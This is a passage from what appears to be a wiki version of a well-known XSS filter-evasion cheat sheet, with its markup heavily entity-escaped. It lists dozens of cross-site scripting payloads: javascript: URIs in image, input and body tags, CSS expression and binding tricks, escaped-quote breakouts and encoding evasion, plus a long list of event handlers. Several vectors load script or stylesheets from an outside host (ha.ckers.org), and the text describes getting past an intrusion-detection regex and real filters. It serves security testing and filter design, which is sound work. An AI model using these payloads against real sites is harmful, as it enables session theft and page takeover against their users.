This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &amp;lt;/SCRIPT&amp;gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &amp;quot;.j&amp;quot; is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.&lt;br /&gt;
 &lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Half open HTML/JavaScript XSS vector ==&lt;br /&gt;
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &amp;quot;&amp;gt;&amp;quot; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|&amp;lt;)[^\n]+((\%3E)|&amp;gt;)/ because it doesn't require the end &amp;quot;&amp;gt;&amp;quot;. As a side note, this was also affective against a real world XSS filter I came across using an open ended &amp;lt;IFRAME tag instead of an &amp;lt;IMG tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS')&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== Double open angle brackets ==&lt;br /&gt;
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Escaping JavaScript escapes ==&lt;br /&gt;
When the application is written to output some user information inside of a JavaScript like the following: &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;$ENV{QUERY_STRING}&amp;quot;;&amp;lt;/SCRIPT&amp;gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;\\&amp;quot;;alert('XSS');//&amp;quot;;&amp;lt;/SCRIPT&amp;gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:&lt;br /&gt;
&lt;br /&gt;
 \&amp;quot;;alert('XSS');//&lt;br /&gt;
&lt;br /&gt;
== End title tag ==&lt;br /&gt;
This is a simple XSS vector that closes &amp;lt;TITLE&amp;gt; tags, which can encapsulate the malicious cross site scripting attack:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==INPUT image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;INPUT TYPE=&amp;quot;IMAGE&amp;quot; SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG Dynsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG DYNSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG lowsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG LOWSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== List-style-image ==&lt;br /&gt;
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&amp;lt;/br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBscript in an image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC='vbscript:msgbox(&amp;quot;XSS&amp;quot;)'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Livescript (older versions of Netscape only) ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;livescript:[code]&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY tag ==&lt;br /&gt;
Method doesn't require using any variants of &amp;quot;javascript:&amp;quot; or &amp;quot;&amp;lt;SCRIPT...&amp;quot; to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (&amp;quot;onload=&amp;quot; != &amp;quot;onload =&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Event Handlers ==&lt;br /&gt;
&lt;br /&gt;
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.&lt;br /&gt;
&lt;br /&gt;
The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].&lt;br /&gt;
&lt;br /&gt;
# &amp;lt;code&amp;gt;FSCommand()&amp;lt;/code&amp;gt; (attacker can use this when executed from within an embedded Flash object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAbort()&amp;lt;/code&amp;gt; (when user aborts the loading of an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onActivate()&amp;lt;/code&amp;gt; (when object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterPrint()&amp;lt;/code&amp;gt; (activates after user prints or previews print job)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterUpdate()&amp;lt;/code&amp;gt; (activates on data object after updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeActivate()&amp;lt;/code&amp;gt; (fires before the object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCopy()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCut()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is cut)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeDeactivate()&amp;lt;/code&amp;gt; (fires right after the activeElement is changed from the current object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeEditFocus()&amp;lt;/code&amp;gt; (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePaste()&amp;lt;/code&amp;gt; (user needs to be tricked into pasting or be forced into it using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePrint()&amp;lt;/code&amp;gt; (user would need to be tricked into printing or attacker could use the &amp;lt;code&amp;gt;print()&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;execCommand(&amp;quot;Print&amp;quot;)&amp;lt;/code&amp;gt; function).&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUnload()&amp;lt;/code&amp;gt; (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUpdate()&amp;lt;/code&amp;gt; (activates on data object before updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBegin()&amp;lt;/code&amp;gt; (the onbegin event fires immediately when the element's timeline begins)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBlur()&amp;lt;/code&amp;gt; (in the case where another popup is loaded and window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBounce()&amp;lt;/code&amp;gt; (fires when the behavior property of the marquee object is set to &amp;quot;alternate&amp;quot; and the contents of the marquee reach one side of the window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCellChange()&amp;lt;/code&amp;gt; (fires when data changes in the data provider)&lt;br /&gt;
# &amp;lt;code&amp;gt;onChange()&amp;lt;/code&amp;gt; (select, text, or TEXTAREA field loses focus and its value has been modified)&lt;br /&gt;
# &amp;lt;code&amp;gt;onClick()&amp;lt;/code&amp;gt; (someone clicks on a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onContextMenu()&amp;lt;/code&amp;gt; (user would need to right click on attack area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onControlSelect()&amp;lt;/code&amp;gt; (fires when the user is about to make a control selection of the object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCopy()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCut()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Cut&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataAvailable()&amp;lt;/code&amp;gt; (user would need to change data in an element, or attacker could perform the same function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetChanged()&amp;lt;/code&amp;gt; (fires when the data set exposed by a data source object changes)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetComplete()&amp;lt;/code&amp;gt; (fires to indicate that all data is available from the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDblClick()&amp;lt;/code&amp;gt; (user double-clicks a form element or a link)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDeactivate()&amp;lt;/code&amp;gt; (fires when the activeElement is changed from the current object to another object in the parent document)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrag()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnd()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragLeave()&amp;lt;/code&amp;gt; (requires that the user drags an object off a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnter()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragOver()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragStart()&amp;lt;/code&amp;gt; (occurs when user starts drag operation)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onEnd()&amp;lt;/code&amp;gt; (the onEnd event fires when the timeline ends.    &lt;br /&gt;
# &amp;lt;code&amp;gt;onError()&amp;lt;/code&amp;gt; (loading of a document or image causes an error)&lt;br /&gt;
# &amp;lt;code&amp;gt;onErrorUpdate()&amp;lt;/code&amp;gt; (fires on a databound object when an error occurs while updating the associated data in the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFilterChange()&amp;lt;/code&amp;gt; (fires when a visual filter completes state change)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFinish()&amp;lt;/code&amp;gt; (attacker can create the exploit when marquee is finished looping)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocus()&amp;lt;/code&amp;gt; (attacker executes the attack string when the window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusIn()&amp;lt;/code&amp;gt; (attacker executes the attack string when window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusOut()&amp;lt;/code&amp;gt; (attacker executes the attack string when window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHashChange()&amp;lt;/code&amp;gt; (fires when the fragment identifier part of the document's current address changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHelp()&amp;lt;/code&amp;gt; (attacker executes the attack string when users hits F1 while the window is in focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onInput()&amp;lt;/code&amp;gt; (the text content of an element is changed through the user interface)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyDown()&amp;lt;/code&amp;gt; (user depresses a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyPress()&amp;lt;/code&amp;gt; (user presses or holds down a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyUp()&amp;lt;/code&amp;gt; (user releases a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLayoutComplete()&amp;lt;/code&amp;gt; (user would have to print or print preview)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoad()&amp;lt;/code&amp;gt; (attacker executes the attack string after the window loads)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoseCapture()&amp;lt;/code&amp;gt; (can be exploited by the &amp;lt;code&amp;gt;releaseCapture()&amp;lt;/code&amp;gt; method)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaComplete()&amp;lt;/code&amp;gt; (When a streaming media file is used, this event could fire before the file starts playing)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaError()&amp;lt;/code&amp;gt; (User opens a page in the browser that contains a media file, and the event fires when there is a problem)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMessage()&amp;lt;/code&amp;gt; (fire when the document received a message)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseDown()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseEnter()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseLeave()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseMove()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOut()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOver()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseUp()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseWheel()&amp;lt;/code&amp;gt; (the attacker would need to get the user to use their mouse wheel)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMove()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveEnd()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveStart()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOffline()&amp;lt;/code&amp;gt; (occurs if the browser is working in online mode and it starts to work offline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOnline()&amp;lt;/code&amp;gt; (occurs if the browser is working in offline mode and it starts to work online)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOutOfSync()&amp;lt;/code&amp;gt; (interrupt the element's ability to play its media as defined by the timeline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPaste()&amp;lt;/code&amp;gt; (user would need to paste or attacker could use the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPause()&amp;lt;/code&amp;gt; (the onpause event fires on every element that is active when the timeline pauses, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPopState()&amp;lt;/code&amp;gt; (fires when user navigated the session history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onProgress()&amp;lt;/code&amp;gt; (attacker would use this as a flash movie was loading)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPropertyChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReadyStateChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRedo()&amp;lt;/code&amp;gt; (user went forward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRepeat()&amp;lt;/code&amp;gt; (the event fires once for each repetition of the timeline, excluding the first full cycle)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReset()&amp;lt;/code&amp;gt; (user or attacker resets a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResize()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeEnd()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeStart()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResume()&amp;lt;/code&amp;gt; (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReverse()&amp;lt;/code&amp;gt; (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowsEnter()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowExit()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowDelete()&amp;lt;/code&amp;gt; (user or attacker would need to delete a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowInserted()&amp;lt;/code&amp;gt; (user or attacker would need to insert a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onScroll()&amp;lt;/code&amp;gt; (user would need to scroll, or attacker could use the &amp;lt;code&amp;gt;scrollBy()&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSeek()&amp;lt;/code&amp;gt; (the onreverse event fires when the timeline is set to play in any direction other than forward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelect()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectionChange()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectStart()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStart()&amp;lt;/code&amp;gt; (fires at the beginning of each marquee loop)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStop()&amp;lt;/code&amp;gt; (user would need to press the stop button or leave the webpage)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStorage()&amp;lt;/code&amp;gt; (storage area changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSyncRestored()&amp;lt;/code&amp;gt; (user interrupts the element's ability to play its media as defined by the timeline to fire)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSubmit()&amp;lt;/code&amp;gt; (requires attacker or user submits a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTimeError()&amp;lt;/code&amp;gt; (user or attacker sets a time property, such as dur, to an invalid value)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTrackChange()&amp;lt;/code&amp;gt; (user or attacker changes track in a playList)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUndo()&amp;lt;/code&amp;gt; (user went backward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUnload()&amp;lt;/code&amp;gt; (as the user clicks any link or presses the back button or attacker forces a click)&lt;br /&gt;
# &amp;lt;code&amp;gt;onURLFlip()&amp;lt;/code&amp;gt; (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)&lt;br /&gt;
# &amp;lt;code&amp;gt;seekSegmentTime()&amp;lt;/code&amp;gt; (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)&lt;br /&gt;
&lt;br /&gt;
== BGSOUND ==&lt;br /&gt;
 &amp;lt;BGSOUND SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &amp;amp; JavaScript includes ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BR SIZE=&amp;quot;&amp;amp;{alert('XSS')}&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
== STYLE sheet ==&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet ==&lt;br /&gt;
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;http://ha.ckers.org/xss.css&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 2 ==&lt;br /&gt;
This works the same as above, but uses a &amp;lt;STYLE&amp;gt; tag instead of a &amp;lt;LINK&amp;gt; tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end &amp;lt;/STYLE&amp;gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 3 ==&lt;br /&gt;
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &amp;lt;nowiki&amp;gt;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet)&amp;lt;/nowiki&amp;gt; and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Link&amp;quot; Content=&amp;quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 4 ==&lt;br /&gt;
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&amp;quot;http://ha.ckers.org/xssmoz.xml#xss&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tags with broken up JavaScript for XSS ==&lt;br /&gt;
This XSS at times sends IE into an infinite loop of alerts:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&amp;quot;XSS&amp;quot;)';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE attribute using a comment to break up expression ==&lt;br /&gt;
Created by Roman Ivanov &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG STYLE=&amp;quot;xss:expr/*XSS*/ession(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG STYLE with expression ==&lt;br /&gt;
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exp/*&amp;lt;A STYLE='no\xss:noxss(&amp;quot;*//*&amp;quot;);&lt;br /&gt;
xss:&amp;amp;#101;x&amp;amp;#x2F;*XSS*//*/*/pression(alert(&amp;quot;XSS&amp;quot;))'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag (Older versions of Netscape only)==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE TYPE=&amp;quot;text/javascript&amp;quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background-image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anonymous HTML with STYLE attribute ==&lt;br /&gt;
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XSS STYLE=&amp;quot;xss:expression(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Local htc file == &lt;br /&gt;
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:&lt;br /&gt;
 &amp;lt;XSS STYLE=&amp;quot;behavior: url(xss.htc);&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== US-ASCII encoding == &lt;br /&gt;
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. &lt;br /&gt;
&lt;br /&gt;
 ¼script¾alert(¢XSS¢)¼/script¾&lt;br /&gt;
&lt;br /&gt;
== META ==&lt;br /&gt;
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
